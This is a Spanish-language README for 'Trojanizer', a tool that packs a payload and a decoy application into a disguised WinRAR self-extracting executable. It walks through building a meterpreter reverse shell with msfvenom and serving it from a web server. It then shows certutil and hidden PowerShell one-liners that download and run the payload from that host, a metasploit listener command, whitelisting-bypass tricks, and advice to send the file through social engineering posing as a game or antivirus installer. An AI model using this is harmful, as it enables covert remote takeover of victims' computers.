
Trojaniza tu payload - Automatización de WinRAR (SFX) - bajo distribuciones Linux
Version release : v1.1 (Stable)
Author : pedro ubuntu [ r00t-3xp10it ]
Codename: Troia_Revisited
Distros Supported : Ubuntu, Kali, Mint, Parrot OS
Suspicious-Shell-Activity (SSA) RedTeam desarrollado @2017
La herramienta Trojanizer usa WinRAR (SFX) para comprimir los dos archivos ingresados por el usuario,
y lo transforma en un archivo SFX ejecutable (.exe). El archivo SFX, al ser ejecutado,
ejecutará ambos archivos (nuestro payload y la aplicación legítima al mismo tiempo).
Para hacer que el archivo sea menos sospechoso para el objetivo en tiempo de ejecución, Trojanizer
intentará reemplazar el ícono predeterminado (.ico) del archivo SFX por uno seleccionado por el usuario,
y suprimir todos los mensajes de sandbox del archivo SFX (Silent=1 | Overwrite=1).
'Trojanizer no construirá troyanos, pero desde la perspectiva del objetivo, replica el comportamiento de un troyano'
(ejecuta el payload en segundo plano, mientras la aplicación legítima se ejecuta en primer plano).
Zenity (bash-GUIs) | Wine (x86|x64) | WinRAr.exe (instalado en wine)
"Trojanizer.sh descargará/instalará todas las dependencias según sea necesario"
╔══════════════════════════════════════════════════════════════════════════════════════════════════╗
| Se recomienda editar y configurar la opción: SYSTEM_ARCH=[ your_sys_arch ] |
| en el archivo 'settings' antes de intentar ejecutar la herramienta por primera vez. |
╚══════════════════════════════════════════════════════════════════════════════════════════════════╝
.exe | .bat | .vbs | .ps1
"Todos los payloads que Windows/SFX pueden auto-extraer-ejecutar"
CONSEJO: Si se selecciona 'SINGLE_EXEC=ON' en el archivo de configuración,
entonces Trojanizer aceptará cualquier tipo de extensión para ser ingresada.
.exe | .bat | .vbs | .ps1 | .jpg | .bmp | .doc | .ppt | etc ..
"Todas las aplicaciones que Windows/SFX pueden auto-extraer-ejecutar"
╔══════════════════════════════════════════════════════════════════════════════════════════════════╗
| Las 'opciones avanzadas' de Trojanizer solo son accesibles en el archivo 'settings', |
| y solo pueden configurarse antes de ejecutar la herramienta principal (Trojanizer.sh) |
╚══════════════════════════════════════════════════════════════════════════════════════════════════╝
-- Opción avanzada de Presetup
Trojanizer puede configurarse para ejecutar un programa + comando antes de la extracción/ejecución
de los dos archivos comprimidos (archivo SFX). Esto permite a los usuarios aprovechar el software
preinstalado para ejecutar un comando remoto antes de que ocurra la extracción real en el sistema objetivo.
Si está activo, Trojanizer preguntará (diálogo zenity) por el comando a ejecutar
-- single_file_execution
Miremos el siguiente escenario: Tienes un payload dll para ingresar que necesitas ejecutar tras la
extracción, pero los archivos SFX no pueden ejecutar directamente archivos dll. Esta configuración permite
a los usuarios ingresar un script batch (.bat) que se usará para ejecutar el payload dll. Todo lo que
Trojanizer necesita hacer es instruir al archivo SFX para que extraiga ambos archivos y luego ejecute el script.bat.
╔══════════════════════════════════════════════════════════════════════════════════════════════════╗
| El comportamiento predeterminado del interruptor single_file_execution es comprimir los dos |
| archivos ingresados por el usuario pero ejecutar solo uno de ellos al momento de la extracción |
| (el segundo archivo ingresado será ejecutado) .. |
╚══════════════════════════════════════════════════════════════════════════════════════════════════╝
╔════════════════════════════════════════════════════════════════════════════════════════════════════════════════╗
| Mucho trabajo increíble ha sido realizado por muchas personas, especialmente @subTee, sobre la evasión de |
| listas blancas de aplicaciones, que es al final lo que queremos aquí: ejecutar código arbitrario abusando |
| de binarios incorporados de Microsoft. |
| https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/ |
╚════════════════════════════════════════════════════════════════════════════════════════════════════════════════╝
El siguiente ejercicio describe cómo usar los interruptores avanzados 'single_file_execution' y 'Presetup'
de Trojanizer para descargar (descarga remota) y ejecutar cualquier payload usando oneliners de evasión de
listas blancas de aplicaciones con 'certutil' o 'powershell' ..
1º - usar metasploit para construir nuestro payload
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.69 LPORT=666 -f exe -o payload.exe
2º - copiar payload.exe al webroot de apache2 e iniciar el servicio
cp payload.exe /var/www/html/payload.exe
service apache2 start
3º - editar el archivo 'settings' de Trojanizer y activar:
PRE_SETUP=ON
SINGLE_EXEC=ON
4º - ejecutar la herramienta Trojanizer
PAYLOAD A COMPRIMIR => <path-to>/screenshot.png (no importará qué comprimas)
EJECUTAR ESTE ARCHIVO AL EXTRAER => <path-to>/AngryBirds.exe (se ejecutará como aplicación señuelo)
VENTANA DE PRESETUP => cmd.exe /c certutil -urlcache -split -f http://192.168.1.69/payload.exe %TEMP%\\payload.exe && start %TEMP%\\payload.exe
NOMBRE DEL SFX => AngryBirds_installer (el nombre del archivo sfx a crear)
REEMPLAZAR ÍCONO => Windows-Store.ico OR Steam-logo.ico
5º - iniciar un listener, y enviar el archivo sfx al objetivo usando ingeniería social
msfconsole -x 'use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set lhost 192.168.1.69; set lport 666; exploit'
╔════════════════════════════════════════════════════════════════════════════════════════════════════════════════╗
| Cuando se ejecuta el archivo sfx, descargará payload.exe desde nuestro servidor web apache2 al objetivo |
| y lo ejecutará antes de extraer 'screenshot.png' y 'AngryBirds.exe' (el último se ejecutará como señuelo) |
╚════════════════════════════════════════════════════════════════════════════════════════════════════════════════╝
El siguiente oneliner usa el método 'powershell(Downloadfile+start)' para lograr lo mismo que el ejercicio anterior con 'certutil' ..
cmd.exe /c powershell.exe -w hidden -c (new-object System.Net.WebClient).Downloadfile('http://192.168.1.69/payload.exe', '%TEMP%\\payload.exe') & start '%TEMP%\\payload.exe'
El siguiente oneliner usa el método 'powershell(IEX+downloadstring)' para lograr casi lo mismo (payload.ps1 no toca el disco)
cmd.exe /c powershell.exe -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.69/payload.ps1'))"
1º - Descargar el framework de github
git clone https://github.com/r00t-3xp10it/trojanizer.git
2º - Establecer permisos de ejecución a los archivos
cd trojanizer
sudo chmod +x *.sh
3º - configurar el framework
nano settings
4º - Ejecutar la herramienta principal
sudo ./Trojanizer.sh
xsf.conf - ejecutar ambos archivos al extraer (comportamiento de troyano)
xsf.conf - single_file_execution + Presetup (opciones avanzadas)
xsf.conf - single_file_execution + Presetup + appl_whitelisting_bypass (certutil)
xsf.conf - single_file_execution + Presetup + appl_whitelisting_bypass (powershell IEX)
Archivo sfx final con ícono cambiado
Dentro del archivo sfx (abrir con winrar) - comportamiento de troyano
Dentro del archivo sfx (abrir con winrar) - single_file_execution
Trojanizer - Instalador falso de antivirus AVG (comportamiento de troyano)
https://www.youtube.com/watch?v=BIn6_ccZrI0
Trojanizer - single_file_execution (no es comportamiento de troyano)
https://www.youtube.com/watch?v=Ze0JkVtKbns
@subTee | @enigma0x3 | @H4d3s (SSA)
Referencias:
http://acritum.com/software/manuals/winrar/
https://blog.conscioushacker.io/index.php/2017/11/17/application-whitelisting-bypass-msbuild-exe/
https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/
https://github.com/r00t-3xp10it/trojanizer/issues